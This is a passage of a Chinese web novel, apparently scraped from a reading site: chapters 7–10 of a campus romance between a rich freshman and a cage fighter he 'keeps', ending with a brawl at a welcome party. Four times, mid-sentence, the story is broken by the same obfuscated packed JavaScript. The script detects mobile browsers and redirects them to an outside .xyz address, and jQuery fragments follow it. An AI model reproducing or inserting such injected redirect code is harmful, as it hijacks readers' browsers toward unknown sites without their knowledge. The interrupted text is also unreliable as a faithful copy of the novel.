陶真没忍住笑出声来,把给他寄的快递面单发到了群里,下一秒,顾行舟就如同尖叫鸡一般发了条语音过来: “啊啊啊啊!真宝!我爱死你了!你怎么知道我一直想要这个的!” ——这可真是堪称世界上最火速的打脸。 长着一张萌妹脸的佟夏相当毒舌地评价道:【顾子涵,看起来你的中药也不是很有用嘛。】 顾行舟勃然大怒:“说了别喊我以前的名字!” 他们两人向来这样吵吵闹闹,陶真已经习惯了,顺手把给佟夏的礼物也发到了群里,顿时收获了一枚美女隔空的香吻,以及一句“我要为你变成异性恋”的宣言。 陶真乐了,刚想像从前那样回复“行啊大小姐”,忽然意识到了什么,字到手边拐了个弯。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775759|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【真知棒:不行。】 这两个字发出去,屏幕上顿时刷满了来自顾佟两人的问号。 他们可是从光屁股开始就认识的发小,就连陶真处于青春期、懵懵懂懂搞不清自己性取向的时候,都是顾佟两人帮他分析、带他走进新世界大门的。 这会陶真一有不对劲,他们立刻就发现了,一个群通话拨了过来,要对他严刑拷打。 “为什么不行!”顾行舟尖叫道,“陶真,你是不是有什么事瞒着我们!” 灶台上的水“咕嘟咕嘟”地冒起了泡泡,陶真干笑着向两人坦白了自己跟祝闻声之间的关系。 在得知他去酒吧,还包/养了一个勤工俭学、打黑拳的调酒师时,两人都倒吸了一口气,发出了由衷的感叹: 这么些年来,他们两人暗恋或明恋的对象来回换,陶真却一直没有。他们还以为陶真对这方面根本没兴趣呢,没想到他是不鸣则已,一鸣惊人啊。 竟然跳过谈恋爱,直接来到了包/养这一步。 “真宝,别怪我没提醒你,”顾行舟连嗓子都不夹了,“这件事要是让大俊叔叔知道了,你一定会被他揍得屁股开花。” 从不做亏心事的陶真没忍住一抖,手里的酸菜猪肉饺子骨碌骨碌地滚进了锅里,溅起了些许水花。 他知道。 也许他屁股的下场会跟饺子一样。 陶真讷讷道:“可是祝闻声真的很可怜,如果我不养他,他一个打黑拳的穷学生,一定会被别人欺负死的……” 佟夏也叹了口气:“子涵说的对。” “再说了,你怎么知道那个被你包.养的人不是故意给你下套呢?你确定他真的跟你说的那样穷得叮当响?” 陶真:“我确定!” 他从五十块钱的包养费,想到那个碎了屏幕的手机,只觉心中悲怆。 小男友实在是太惨了。 夏夏和子涵两个人是没看见,不然他们一定能明白的。 “……行吧行吧,反正,你别吃亏就行。” 眼看陶真这副样子,佟夏也没办法,“他长什么样啊?有没有照片?” “对啊,你都花钱了,怎么着也得回本吧!”顾行舟这个妖娆小gay抓住了重点,眼睛渐渐亮了起来,“真宝,你这么多年,根本还没开过荤吧??” 锅里的饺子飘了起来,陶真扎了一个试熟没熟。 闻言,他一噎,险些呛个半死,脸“唰”地一下红透了:“咳、咳咳咳……” “子涵,你脑袋里怎么全是这些东西啊,”佟夏叹了口气,仿佛对他很失望,“真宝,那个男的大吗?多少厘米?” 她张口就来:“少于十八的不能要啊,被别人用过的也不能要。” “……” “佟夏!你好意思说我!” 顾行舟尖叫完,话锋一转:“我的建议是,你下次接他一起出去的时候,找个机会跟他一起上厕所。” “然后呢,你先看一眼,如果是婴儿手臂、青筋暴起,比较令人满意的话,你就问他需不需要你帮忙扶——” 陶真满脸涨红,反手“啪”地一下挂断了电话。 锅里的水彻底沸腾了起来,白胖的饺子翻腾沉浮。热气蒸人,刚刚才洗完的澡,这会身上又满是汗。 陶真拧灭了煤气,撩起T恤下摆扇风,露出一大截雪白纤细的腰腹,却还是平不下心里的燥热。 过了好半晌,他掩面。 突然好期待迎新晚会啊。 祝闻声他……到底大不大啊??? 8. 第 8 章 难道真的要像子涵那个家伙说的那样,趁着上厕所的机会过去看吗? 这不太好吧! 万一祝闻声没有那么大,反而一直因为这件事而自卑呢? 他也不可能把恋爱协议撕掉,跟祝闻声说自己是因为这个而解约的啊! 不过……陶真忽然想起了今天祝闻声穿的那条黑金色的运动短裤。 光从那里看的话,好像,不用太担心呢。 等等! 怎么真的被绕进去了!他们根本就没商量过体位的问题,他怎么就默认自己是下面那个了?万一祝闻声其实对男人硬/不起来,根本当不了1…… 陶真狠狠地拍了拍脸,好不容易才把那些念头从脑海里驱逐,红着耳朵吃完了一海碗的饺子,洗漱完上床,强迫自己关机,忘掉这方面的事。 一觉睡到了第二天中午。 顺丰空运已经把他昨晚寄的快递都安全送到了几人的手上:佟夏和顾行舟两人昨天就知道了礼物的存在,今天一收到,就笑嘻嘻地在群里分享了起来;陶大俊却对这事儿一无所知,一收快递就结结实实地愣在了办公室里。 但他很快就想明白了,他惹儿子生气发过去的零花钱,又被儿子换成了礼物送了回来。 陶大俊一张老脸喜得通红,感性地抹了两把眼泪,一边给陶真卡里打钱,一边系上了新皮带在食堂里招摇过市,在一众员工的吹捧中都快飘飘然了。 徒留叼着牙刷的陶真对着银行卡入账五十万元的信息一脸懵。 他爸那条皮带打完折统共就买了五千,他爸给他打这么多钱干什么? 陶真一脸茫然,揉了揉一头乱得像鸟窝的灿金色发丝,刚准备给他爸还回去点,就忽然接到了一个林曼妙女士的电话。 他霎时清醒了,飞速咕噜咕噜地漱口,又清了清嗓子,变换了几次音调,才笑眯眯地摁下了接通。 “喂,妈妈!今天怎么给我打电话了呀,你吃过饭了嘛?” 优雅婉转的女声响起,带了些许严肃:“小真,妈妈吃过了。我今天收到了一个快递,是你给我寄的吗?” 陶真条件反射地站直了身子,手指无意识地扣住了自己的衣摆:“嗯,是……” “谢谢小真在外面还想到妈妈,”林曼妙微微叹了口气,“但是妈妈平常用不到这些,你和你爸爸总替我买这么多,很多摆着都过期了。适度的享受是可以的,但我们不能铺张浪费,知道吗?” 可导购说那套彩妆是新品,只有在南城才能买到,所有女人都会喜欢的。 陶真垂下眼,攥住那块被揪成咸菜的布料:“知道了……” 林曼妙听出陶真的语气不对,也不自觉地犹豫了片刻,最终还是没有说出要陶真把东西退回去的话,只是叹息了两声,嘱咐他一个人在南城也要早睡早起、生活规律。 她说什么,陶真都乖乖地听着、应着,令她不由自主地想起了小时候只有她小腿高,却咿咿呀呀地缀在她屁股后面唱歌的小糯米团子。 眼巴巴的,好不可怜。 林曼妙忽然有点后悔自己的语气那么严厉了。 通话结束前,她温柔地哄他:“好了,妈妈要去工作了。下次巡演很有可能会回内陆,到时候来看妈妈,好不好?” 陶真松开了T恤下摆,勉强露出了自己的小虎牙,提起精神:“嗯!好!妈妈……” 他话音未落,那头却忽然有人着急忙慌地喊了一声“林姐”。 林曼妙立刻“哎”了一声,来不及再跟陶真说一声再见,就匆匆挂断了电话。 陶真垂下眼,盯着那短暂的通话记录看了几秒,在心里把下半句话补全了。 “妈妈工作辛苦了,我爱你哟。” 我知道你一直很忙,所以不是故意要忽略我的,没关系。 你在为了自己喜欢的事业和梦想奋斗,我很高兴,也很崇拜你。 真的。 过了好半晌,陶真才慢吞吞地把牙刷放回牙杯,伸手掬了几捧清水,浇了浇红彤彤的眼睛。 他擦了擦手,打开了收藏夹里林曼妙剧团的演出录播,熟练地拉动了进度条,跟着唱了好几首歌曲。 很奇怪,艺考落榜的少年,歌声竟然相当出色。 他一个人流畅顺利、投入享受地歌唱着,声音清朗而嘹亮,回荡在浴室内,好似黄莺出谷,婉转悠扬,颇有几分林曼妙的气质,唱得极好,极动听。 - 八月的尾巴悄然无声地溜走了,燥热炎炎的南城也在一场雨后忽地降温。 迎新会开始前,陶真被学姐拉到了一个国际部大一新生的大群里。群里的气氛很融洽,大家都聊的很火热,他也认识了不少同一个班级的新朋友。 大家都很热情,而且很有礼貌,相处起来特别舒服。 奇怪的是,当陶真偶尔提到与他不在同一个班的吴斌等人时,他们则会沉默几秒,陷入一个有些微妙的状态。 陶真有些不明所以,尤其是这几天,吴斌几人像是人间蒸发了一样,微信不发消息,酒吧也不去了,更不会拉着他说某某奢侈品的新品好看,反而脸色难看,极为忙碌的样子。 若是佟夏和顾行舟这样,陶真肯定得冲去他们家问他们发生了什么。 可回想起吴斌那时不时打量和试探的眼神……陶真想了想,最终还是没有那么热情,只礼貌地说,如果有需要的话可以联系他。 一场雨落,打碎了一地嫣粉的紫薇花。 雨过天晴后的傍晚时分,迎新会即将开始。 陶真约了车去Light酒吧门口,在等待祝闻声出来时,他情不自禁地又想起了佟夏和顾行舟这两个损友这些天反复调侃他的虎狼之词,脸颊的温度渐渐上升。 在胡思乱想之前,他赶快用力地拍了拍自己的脸蛋,正了正自己印满了古驰LOGO的花衬衫,又掸了掸笔直的裤腿,借着光,端详了一下自己雪亮的小皮鞋。 嗯,很不错。 一看就很有金主风范。 陶真抬起脸,对着车窗的反光嘿嘿笑了。 祝闻声出来时,第一眼看见的就是这个画面。 金发少年湿漉漉的小狗眼弯着,小虎牙也露了出来。 很乖,也很可爱。 他心里不自觉地一动,喉结也上下滚了滚,三步并作两步地走了过去,开了车门。 “祝闻声,你来啦!”陶真亮起了眼睛,把他拉进来,没忍住顿了顿,“你没有穿我送给你的那件芬迪衬衫吗?” 黑发黑眸的俊美少年在身旁坐下,带来了一阵浅淡的药物味,大约是跌打损伤膏。 他身上又多了些伤口,被黑色连帽衫和黑色长裤罩着,整个人看起来休闲而冷淡。 “嗯。”祝闻声不自在地挪开了目光。 陶真略微有点失望,可又很快哄好了自己。 算了算了,也许祝闻声就是不适应穿那种衣服呢? 说好了要尊重祝闻声本人意愿的,他可不能反悔。 “没关系,不穿就不穿吧,”车辆启动,陶真也重新笑起来,“等下我们去迎新会,你不要紧张,其实就是普通的聚会,看看表演吃吃东西什么的……” 祝闻声又嗯了一声。 他也是南城大学的学生,只不过比陶真大了一级,开学大二。 迎新会是国际部的传统,本部是没有这项活动的,况且他在学校里向来低调,知道他身份的人少之又少,倒不是很担心到时候被熟悉的人认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775760|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来“嘲笑”。 车辆很快就在宴会厅外停下,司机跟随指令去泊车,他们二人则一起进入了会场内。 刚下完雨,空气还很清新,室内也布置了鲜花,充满了淡淡的香氛味。 柔软的地毯铺满了全场,一张张摆满了餐点的西式长桌整齐地摆列,已有不少人笑着在其中穿梭交谈。 衣香鬓影,觥筹交错,倒真有几分高端聚会的意思。 会场内设置了签到处,陶真作为学生去那里登记了一下同伴的身份,顺路碰见了自己新认识的同班同学们,不自觉地跟他们聊起天来。 祝闻声则无所事事地站在不远处等待。 等了太久,有点无聊,他才收回了落在陶真身上的目光,淡淡地扫视了一圈四周。 几个负责签到的学生聚在一块看着手里的表格名单,不知是谁率先发现了不对: “吴斌一群人都还没来诶,要不要给他们打个电话?” 一人没忍住皱了皱眉:“不了吧,我估计他们今天是不会来了。你不知道前两天出的事吗?” “嗯?我知道啊,不就是他们打肿脸充胖子欠钱不还、穿fake、勾搭高中学妹失败所以恼羞成怒……被人挂到表白墙,闹得沸沸扬扬的那事嘛,”那人笑着摇摇手,“他们这些人脸皮很厚的,这些事又不会让人退学,怎么可能会不来这种迎新会啊,那不是更证明网上那些传言都是真的了吗?” “噗哈哈哈啊,你说的也有道理!” 他们一群人又聚在一块就着吴斌等人翻车的细节聊了起来,说到他们偷偷摸摸地借着隔壁桌的包连拍了九宫格的炫耀照片时更是笑得前仰后俯。 祝闻声听了一耳朵,眉宇间漠然的神色也略微松了些,点开跟朋友赵钊的聊天页面上下划了划,果不其然看见了众人聊的内容。 赵钊办事还挺靠谱,每一桩笑料都很锤。 “哎哟不行了真的是笑死我了……所以要不要打电话啊,我有点迫不及待想当面看他们乐子了。哎,我们这儿谁跟他们熟悉一些?” “陶真吧,不过他到现在都还不知道吴斌他们这事儿呢,”一人叹了口气,“他人挺好的,但先认识了吴斌那几个傻逼……我们跟他说这些,总像是在背后嚼舌根。” “嗐,我懂。那我们要喊陶真去给吴斌他们打电话吗?” “唔……喊吧!反正陶真还没跟他们撕破脸呢。” “嗯嗯,那我们就看他们过不过来。不过来的话,就顺便跟陶真说一下吴斌他们的事……” 他们聊天的声音渐弱,抬起目光在人群里逡巡。 祝闻声收起了手机,不自觉地快走了两步,挡在了他们和陶真之间。 他也不知道自己为什么要这么做。 明明他本来的计划同这些人说的不谋而合。 但这一刻又忽然反悔了。 直面吴斌,给这种背刺自己的朋友打电话……知道真相后,陶真或许会很伤心的。 所以,还是由自己直接告诉他吧。 刚好,他也想跟陶真澄清两人之间的误会,结束这段荒谬的包/养玩笑。 “陶真,”祝闻声深吸了一口气,从人群里握住了陶真的手腕,拉着他走了出来,“跟我去一趟卫生间,我有话跟你……” 陶真正聊得开心呢,骤然被一只滚烫粗粝的大手抓住,跌跌撞撞地出来,有点懵。 反应了几秒,他又忽然听见了一个关键词,脸“腾”地一下红了。 去、去哪儿? 卫生间?? 婴儿手臂、粗壮青筋…… “不、不行,”陶真手忙脚乱地挣开祝闻声,涨红了脸,粗声粗气地说,“这不合适,我们还没到那种关系……” 9. 第 9 章 “……?” 祝闻声不解。 什么叫做不合适?还没到那种关系? 他扫了一眼不远处正在人群里寻觅陶真的几个家伙,微微皱了皱眉,也管不了陶真话中的疑点,再次伸手牵他往卫生间的方向走:“为什么不行?我有话跟你说,去那里比较方便——” 陶真满脸涨红,六神无主,匆匆忙忙地摆手,不自觉地踉跄了一步:“就是不行!有、有什么话不能在外面说的吗?我现在不想去厕所……” 祝闻声轻轻地叹了口气。 他低头,面前的金发少年像是只被踩到了尾巴的猫,无论如何色厉内荏地炸毛,就是不愿意再贴上人的掌心。明明穿着一件印满LOGO的花衬衫,像个得意洋洋的小金主,却慌乱得像是从没跟男人牵过手一样……有些令人焦躁着急,却更让人心软无措。 祝闻声垂下眼,冷淡的神色有些许融化:“行。既然不想去卫生间,那我们就在这里说。” “……”陶真睁大了眼,仿佛受到了什么令人震撼的冲击。 他重复了一遍:“在、在这儿?” 不去卫生间了,在这儿就脱裤子? “嗯。” “现在这种地方到处都是监控,怎么能在监控眼皮子底下干这种事呢!” 陶真绝望了,他后悔地咬牙,反过来拉着祝闻声匆匆地往卫生间跑, “你知道吗,我爸妈一直跟我说,人呢,在外面要保护好自己,千万不能犯傻——不过,犯傻是每个人都会踩的坑,是再正常不过的事。” “所以呢,我们需要尽可能地保护身边的人。他们已经很可怜了,可不能再被欺负……” 祝闻声的瞳孔微颤了一下,他个高腿长,平日里三步跨旁人两步,此刻跟在陶真身后的步伐却意外地有些沉重。 绕过了一片宴会厅的花墙,两人在卫生间外的屏风旁停下。 陶真跑得气喘吁吁,一张雪白的小脸红扑扑的,湿漉漉的狗狗眼里缀着点碎星。 他有点不好意思地拍了拍脸,小声说:“好了,到卫生间了……旁边没有人了,那个,我们可以开始,咳……” 祝闻声却忽然打断了他:“等一下吧。” “我…先进去上个厕所,”他顿了顿,从初遇开始就冰冷漠然到极点的声音竟然有几分轻柔,“给我几分钟的时间想一想,行吗?” 陶真有点懵,但还是乖乖地点了点头。 他目送着祝闻声大踏步地进了隔间,过了几秒才反应过来。 咦? 难道祝闻声刚刚不是想跟他比大小吗? ……忽然有点遗憾是怎么回事! 陶真眼巴巴地绕着屏风转了两圈,想了想,把自己藏到夹层里,打算等祝闻声出来的时候吓他一跳。 少年盯着自己小皮鞋的尖尖发了一会呆,自顾自地猜测着祝闻声等会的反应,正要把自己逗笑时,眼前缝隙里透出来的光却忽然消失了。 他一怔,便见几道熟悉的身影怒气冲冲地从宴会厅里冲了出来,在走廊的拐角来了一个急刹车,恰好在卫生间外停下。 为首那人正是吴斌。 不知到底发生了什么事,他死死地揪着身上某个大牌的过季衬衫,双眼微凸发红,呼吸急促地上下起伏,愤怒道:“操他.妈的!那些人都是什么眼神!” “老子真该冲上去把他们的眼珠子抠出来,把那几张嘴全部都撕烂!” 陶真一怔,迟疑了几秒,还是忍住了打招呼的念头,一声不吭地站在屏风夹层里。 “就是啊!我操!搞得好像他们每个人都很清白一样,他们算什么东西!”一人恼怒至极地附和道,“我真是搞不懂了,我们究竟惹上谁了?这些事到底是被谁爆出来的!?” “会不会是陶真?他前两天不是还假惺惺地问斌哥有什么需要他帮忙的吗!” “对!贼喊捉贼,我估计就是他……他发现我们那什么之后,故意把这些事爆出来报复我们!” “肯定是这样……对,就是陶真!” 骤然听见了自己的名字,陶真的心突地一跳。 他狠狠拧紧了眉,下意识地想冲出去跟这些人对峙,几乎是掐着自己的手心,才硬生生地唤回了些许理智,将自己摁在原地。 果然,下一刻,吴斌就打断了他们七嘴八舌的激烈分析:“不可能。” “陶真那个蠢货,连我们故意谑他去包/养祝闻声都不知道,被丢在酒吧里还傻呵呵地给我们付账……他会有做这种事的本事?” 陶真愣住了。 他的手心猛地一松,露出了几道深红鲜艳的月牙痕。 “……话也不能那么说吧,如果他没点本事,是怎么把那祝闻声包养到手的呢?”另外一个人不同意,“再说了,他在银游城被那个负责人亲自服务的样子,大家都是亲眼看见的。五折,贵宾卡!他的身份很明显不一般啊。想要故意耍我们玩也不是不可能!” “六子说的对!斌哥,都是你当初非要去招惹陶真!贪了他帮忙付账的钱,结果他是在这儿等着呢!” “够了!”吴斌脸色铁青,愈发难看,显然也是觉得他们说的有道理,“他.妈.的,他居然敢骗我!” “居然装成一副对酒吧毫无所知的样子,居然装成一副热情大方的样子……操!凭什么!那个祝闻声也一样不是什么好东西,面上装得一副清高的样子,结果被陶真那贱人一勾引就上钩了,说不定背地里也是一个被富婆玩烂了的货色——” “砰”! 一声巨响猛地砸断了吴斌愤愤的恶毒之语,众人吓了一大跳,顺着声响的来源望去。 陶真猛地踹开了屏风,向来挂着笑的小脸冷冷地,面无表情地走向了吴斌,一把握住了他的衣领:“你说什么?” “有种当着我的面再说一遍。” “……” 众人脸色一阵青一阵白,不自觉地挪开了目光。 唯有吴斌的愤恨的眼神愈发浓重,恶狠狠地攥住了陶真的手腕,咬牙道:“行啊,那我就当着你的面再说一遍,你以为自己做了这一切很得意吧?别以为自己真的多牛逼!有点臭钱而已,嘚瑟什么?你就是个土鳖!” “……” 陶真瞬间想抬起手狠狠地给吴斌两拳。 但他还是忍住了,胸膛剧烈起伏,呼吸极为粗重,在忍耐几秒后扯起了一个笑容:“是吗?那也比你好,就算我再土,好歹还有钱,你呢?” “到底是什么事情被爆出来了,才让你这么恼羞成怒啊?” “你!” 吴斌怒目圆睁,似是浑身血液被这句反嘲点燃激怒,他高高地扬起了成拳的右手,眼看着就要朝陶真的眼睛砸去。 陶真下意识地想侧脸避开,撒开了吴斌的衣领, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775761|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却反过来被扯住了手腕,一个踉跄,正正地对着拳头迎过去。 他来不及思考,条件反射地闭上了眼睛。 下一刻,耳畔果然刹来了一道令人心惊的闷响。 陶真懵懵地睁开了完好无损的双眼,只见一道黑色的身影挡在他的跟前,单手握住了吴斌打来的拳。 接着,冷嗤了一声,迅速而凶猛地将其胳膊肘狠狠一旋! “啊啊啊啊啊!!!” “报警!我要报警!这是……故意伤害……!!” 吴斌发出了一声惨叫,浑身大汗淋漓,抱着自己扭曲了角度的手臂哭嚎了起来,嘴里却还在骂:“你……你们他.妈.的……” 陶真缓了两秒,才弄清楚此刻的状况。 他的嘴唇动了动,赶快抱住祝闻声那只接拳的手,紧张兮兮地说:“没事吧?!骨头有没有事!你、你疼不疼啊?” 祝闻声垂下眼。 金发少年的眼尾和鼻尖还挂着点点红晕,睫毛有些湿漉漉的,不知到底是被气还是被吓的。 明明自己才是险些被砸到眼睛的人,却在担心他这个打人的人。 “我没事,不疼,”祝闻声的声音低沉,“你呢?” 陶真这才抬起眼,扫了一遍四周尴尬而谨慎的众人,目光在哭嚎的吴斌身上定住。 “陶真,你以为你自己…比我好到哪里去!”吴斌满脸狰狞,死死地盯着他满是LOGO的当季衬衫,嫉妒和愤怒几乎冲昏了他的大脑,“你也就是……靠着你爸妈的米虫而已……你爸妈都后悔生出你这么个一事无成的败类出来,你.他.妈的……唔!!” 祝闻声的眼角眉梢挂着冰霜,一个低扫将吴斌砸摔到地面,用鞋尖碾住了那张不停喷粪的臭嘴。 职业选手不该在八角笼外对人动手,他知道。但他已经在努力克制自己的戾气了。 祝闻声冷冷地扫过在场众人的脸,握住了陶真的手:“跟我走。” 越过簌簌颤动的花墙,经过宴会厅,在众人茫然不解的目光中,他们走进了一片阴凉如水的月色里。 前日的紫薇花零落成泥碾作尘,今日的却往下,落在了金发少年不住抖动的肩膀上。 祝闻声单手给赵钊发完消息,就收起了手机,替陶真摘掉了落花。 少年低着头,露出一截雪白的后颈,脊背的骨节被贴合的衬衫勾勒了出来,像被雨打蔫吧的小动物。 又哭了。 小可怜。 “不哭了,好不好?” 祝闻声从口袋抽出一张手帕纸递过去,陶真勉强地接了,却根本没力气擦。 他的鼻尖时不时抽一抽,雪白涨红的小脸潮湿,大颗大颗的泪珠顺着拧成一绺绺的睫毛滚下来,“啪嗒”一下落到地上。 他很努力想振作,想笑,但小嘴还是撇着。 雨后的夜晚很凉,瑟瑟寒风不止。 祝闻声忽然松开了握着陶真的手。 陶真忍住抽噎,睁开迷蒙的双眼,下意识地想重新拉住他。 却见祝闻声后退了一步,双手交叠扯住衣摆往上拉起,脱下了身上这件黑色卫衣,披到了他的身上。 肩膀忽然一暖。 陶真彻底止住了眼泪,呆呆地抬起头。 脱掉外面的衣服后,眼前的高冷而俊美的少年里面穿着的,赫然是一件印满了芬迪LOGO的花衬衫。 10. 第 10 章 陶真看了两眼,反应过来。 祝闻声身上的,不是别的,正是自己那天送给他的那件花衬衫。 哪怕他其实很不喜欢,很不习惯,但他还是穿了。 “你不是……你怎么……”陶真有些想笑,又有点想哭,“你把卫衣给我了,自己穿什么呀?你冷吗?” 祝闻声摇摇头,替他把身上的黑色卫衣披好,重复道:“别哭了。” 陶真小小地嗯了一声,有点不好意思地低头擦脸,却一直用余光偷偷觑着祝闻声。 高冷又俊美的少年穿着跟自己气质毫不相符的花衬衫,虽然依然很帅,却身上那股自在慵懒的气质却被打破了,好像被迫套上了浪子的衣裳。 陶真其实觉得他这么穿挺好看的,但还是情不自禁地想到了吴斌刻薄而鄙夷的嘲讽。 “有几个臭钱”,“土鳖”。 陶真擦脸的动作慢了些,神色有一瞬间的怔愣,可拍了拍脸,又渐渐振作起来。 对啊,他就是有几个臭钱。 平常穿衣打扮,也总是能让人一眼就看出他是个“暴发户”,不然怎么让别人知道他有钱呢? 再说了,暴发户约等于白手起家,这似乎也不是什么很见不得人的身份吧? “其实,我家不是一开始就有钱的,我上小学一年级的时候,家里还穷得叮当响。我爸每天苦哈哈地在矿里忙上忙下,我妈那个时候也很年轻,也没在剧团里演出什么名堂……”安静了许久,陶真忽然慢慢地说,“后来我爸运气好,发了财,做的第一件事就是去商场给我妈买了全套的化妆品,标着大LOGO的衣服。” “因为我妈在剧团里遭人排挤,有个只涂香奈儿口红的女人总是嘲笑她。明明实力没她强,却占了她女主角的位置。” “我爸一直憋着一口气,把我妈的东西全部都换成最好的,就是为了告诉别人,她有钱。” 所以,旁人都别想再欺负她。 陶大俊有钱了,就给林曼妙买好东西,买标,买花里胡哨……最好能让人一眼就看出是奢侈品。 陶真从小就被他一直带着,耳濡目染,养成了一样的习惯。 “……总之,我没觉得那些衣服有多丑。嘲笑我土鳖?明明吴斌也想要,只是买不起,所以吃不到葡萄说葡萄酸而已。” 陶真匆匆抹了把脸,好似满不在乎,“我才不管他们怎么说呢,反正,我遇到了你。” “我以后继续给你买好衣服,买贵衣服,就让吴斌他们狠狠羡慕去吧!” 祝闻声沉默了片刻,低头看向陶真。 金发少年的双眸和鼻尖还染着些许红,看起来颇有点可怜的样子,却偏偏仰着一张笑脸,真诚而天真。用表情说完了接下来的一句话:我不会让他们欺负你的。 祝闻声没忍住轻轻地呼出一口气,攥紧垂在身侧的手,平复了一下那股不知从何而来的鼓噪。 “嗯,好。” 陶真更加弯起了眼,很高兴似的凑了上来,一股清淡的浅香顿时涌入了祝闻声的鼻腔:“说起来,你的手还疼不疼啦?我们……就这样把吴斌他们打下来,会不会有事啊?” 他扭头看了一眼会场内,似乎在犹豫要不要回去:“其实我根本不知道他到底被揭穿了什么事情,他就把屎盆子莫名其妙地扣到我头上,我还没跟他就这件事理论一下呢!” 祝闻声垂下眼,向陶真保证道:“不会有事。” 陶真本就是无辜的人,他不会让这件事牵连到陶真。 “相信我。” 空气一时静默了片刻,一阵寒风簌簌,吹来了一阵落花雨。 “……对,是他先动手的,我们只不过是正当防卫而已,”仰头与祝闻声对视了两秒,陶真略微有点不太自在地挪开了目光,快步往外走,“不过这个迎新会我还是不太想参加了,原来他们要我去银游城,根本不是为了照顾我,而是为了去现场看笑话。” 祝闻声顿了顿,抬起腿跟在他身后:“别生气。” “刚刚是挺生气的,但现在我已经好很多了,”陶真忽然转过身,一边后退一边摇头,一张笑脸有些许翘尾巴般的得意,“我本来是真心把他们当朋友的,是他们不珍惜我。失去我是他们的损失,该后悔的人是他们,可不是我!” 祝闻声因为这个笑容晃神了一秒,半天才轻轻地“嗯”了一声。 “说起来,我突然又想起来一件事……” 陶真突然停下脚步,差点与祝闻声面对面撞上。 两人之间的距离被猛地拉近,几乎快要贴在一起。跌打损伤膏的味道和香氛味混在一块,糅杂着温热的乱了拍子的呼吸。 陶真再度微微挪开了目光,声音小小的:“刚刚一打岔,都快忘了问了。你带我去卫生间,本来是想跟我说什么的?” 祝闻声的喉结滚了滚,漆黑的瞳孔里倒映着陶真红扑扑的笑脸,沉默了。 快说啊。 既然陶真已经亲耳听见了吴斌等人对他的诋毁,绝不会再被这帮人哄骗心软了,他也该重新捡起理智,然后,从陶真的世界里消失…… “我……” 陶真用那双亮晶晶的眼睛充满期待地看着他。 好半晌,祝闻声闭了闭眼,低声说:“我……不喜欢迎新会这种全是人的场合,尤其是你跟同班同学在另一边讲话的时候……” “下次,如果要喊我出来的话,能不能就我们两个?” 陶真有点惊喜。 有种养了很久的大型猫科动物,终于愿意施舍铲屎官一个贴贴的感觉。 他弯起眼,一股热血冲上心头,忽地大胆了起来,踮起脚,攀上了祝闻声的脖颈。 “好呀,”他蜻蜓点水般亲了一下祝闻声的下巴,声音低得像是耳语,“下次就我们两个人出来约会。” “……” 祝闻声猛地后退了一步,捂住自己刚刚被亲过的地方,乱了呼吸。 国内最有希望签约UFC的MMA综合格斗选手之一,绰号为S的顶级捕食者,竟然在刚刚的那一瞬,没有避开陶真这个毫无训练基础的小白,轻而易举地被袭击到了要害。 在一瞬的茫然后,好胜心和凶猛的情绪铺天盖地地涌了上来。 他也不知道为什么,只知道自己看着陶真粉嫩柔软的双唇、俏皮的小虎牙时……竟然,不由自主地产生了一些阴暗下流的想法。 比如,在格斗选手的锁技和绞技下,鲜少有人能够逃脱。 陶真也不会是例外。 “……” 祝闻声的表情相当晦涩,陶真盯着看了几秒,有点讪讪地偏开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775762|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线。 哎,果然不能耍流氓啊。 对祝闻声这种纯情的直男来说,连这种亲亲都为时过早。 还好没跟佟夏和顾行舟那两个家伙学,要是按照他们每天聊的那些内容去做,他肯定要被当成变态抓起来了。 陶真不敢再碰祝闻声了,害怕自己惹恼了勤工俭学的好学生,打电话联系了司机。 一路上两人都保持着相敬如宾的姿态,陶真时不时偷偷觑一眼祝闻声,只能看见少年半个冷硬而克制的侧脸,仿佛正因刚刚那件事而生气似的。 陶真心说完蛋。 一直到Light酒吧门口,才将身上披着的黑色卫衣脱下来给祝闻声塞了回去,趴在车窗上眼巴巴地朝他挥了挥手:“拜拜,晚安呀!” 